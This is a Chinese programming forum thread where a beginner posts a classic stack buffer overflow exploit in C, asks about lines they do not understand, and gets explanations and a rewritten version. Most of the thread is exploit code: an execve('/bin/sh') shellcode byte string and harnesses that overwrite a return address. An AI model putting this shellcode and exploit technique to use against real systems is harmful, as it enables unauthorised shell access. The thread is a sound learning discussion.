求解释,缓冲区溢出漏洞利用,相当初级
详细下面的代码大家都很熟悉了,看起来稍长,但是仔细一看很简单的。
我把我理解的已经都注释上了,其中有几句不明白的呀,希望大家帮忙解释一下这几句
- C/C++ code
#include <stdlib.h>#define buffer_size 0#define offset_size 512//定义SHELLCODE char sc[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";//获取ESP地址 unsigned long find_start(void){ __asm__("movl %esp,%eax");}int main(int argc,char *argv[]){ char *buff,*ptr; //定义两个char指针 long *addr_ptr,addr; //定义两个long指针 int offset=offset_size,bsize=buffer_size; //定义两个整形变量 值为0,512 int i;//定义整形变量 if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址) printf("Attempting address:0x%x\n",addr);//输出得到的地址 ptr=buff;//让ptr指针指向buff指针指向的地址 addr_ptr=(long *)ptr;//不明白 让addr_ptr指向ptr所指位置?也指向buff? for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; //不明白 循环填充栈,从*buff所指位置,值为猜测的shellcode地址?导致溢出一直要覆盖到ret 使ret等于shellcode地址 ptr+=4;//此时ptr指向*buff的第5个字符处 for(i=0;i<strlen(sc);i++) *(ptr++)=sc[i];//不明白 关键来了,作者说他在RED hat9上运行无问题,但是我在ubuntu上运行报错说段错误,按我的理解这地方也就是覆盖buff从第五个字符串开始40个字节为shellcode 为什么错误为什么?? buff[bsize-1]='\0';//为buff做个结束 memcpy(buff,"BUF=",4);//buff前4个字符赋值 putenv(buff);//放入环境变量 system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么? }
求解释其中写着不明白的地方,或者是我理解错的地方,辛苦了
[解决办法]
都嵌入汇编代码了还初级。。。
[解决办法]
lz还是学点正经的东西吧,别走火入魔
[解决办法]
system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么?
system函数表示执行一个系统命令
[解决办法]
- C/C++ code
#include <stdlib.h>#include <string.h>#include <stdio.h>#define buffer_size 0#define offset_size 512//定义SHELLCODE char sc[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";//获取ESP地址 unsigned long find_start(void){ __asm__("movl %esp,%eax");}int main(int argc,char *argv[]){ char *buff,*ptr; //定义两个char指针 long *addr_ptr,addr; //定义两个long指针 int offset=offset_size,bsize=buffer_size; //定义两个整形变量 值为0,512 int i;//定义整形变量 if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址) printf("Attempting address:0x%lx\n",addr);//输出得到的地址 ptr=buff;//注意buff从未被初始化 addr_ptr=(long *)ptr;//相当于指针类型转换,同一个地址,ptr是按照char去寻址,而addr_ptr是按照long去寻址的 for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; //导致溢出时使ret等于sc的地址 ptr+=4;//此时ptr指向*buff的第5个字符处 for(i=0;i<strlen(sc);i++) *(ptr++)=sc[i];//buff没有初始化,所以相应的对ptr的操作极有可能段错误 buff[bsize-1]='\0';//为buff做个结束 memcpy(buff,"BUF=",4);//buff前4个字符赋值 putenv(buff);//放入环境变量 system("/bin/bash");//调出bash shell,准备执行sc}
[解决办法]
这段程序根本不能溢出啊,我给该了一下,不过也发现这个shellcode是干嘛的
- C/C++ code
#include <stdio.h>#include <stdlib.h>#include <string.h>#define BUFF_SIZE 64char sc[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";int main(int argc,char *argv[]){ long buff[BUFF_SIZE]; int i; unsigned long ebp; unsigned long offset; long *buff_ptr = (long *)buff; __asm__("mov %%rbp,%0":"=m"(ebp):); //取ebp offset = (ebp - (unsigned long)buff_ptr) / sizeof(long); //算出ebp到buff的offset buff[offset + 1 ]= (long)≻ // old_eip = ebp + 1 memcpy(buff, "BUF=", 4); strncpy(((char*)buff) + 4, sc, BUFF_SIZE - 5); putenv((char*)buff); system("/bin/bash");}
[解决办法]
long *addr_ptr,addr; //定义两个long指针
这里貌似定义了一个long指针,一个long变量吧~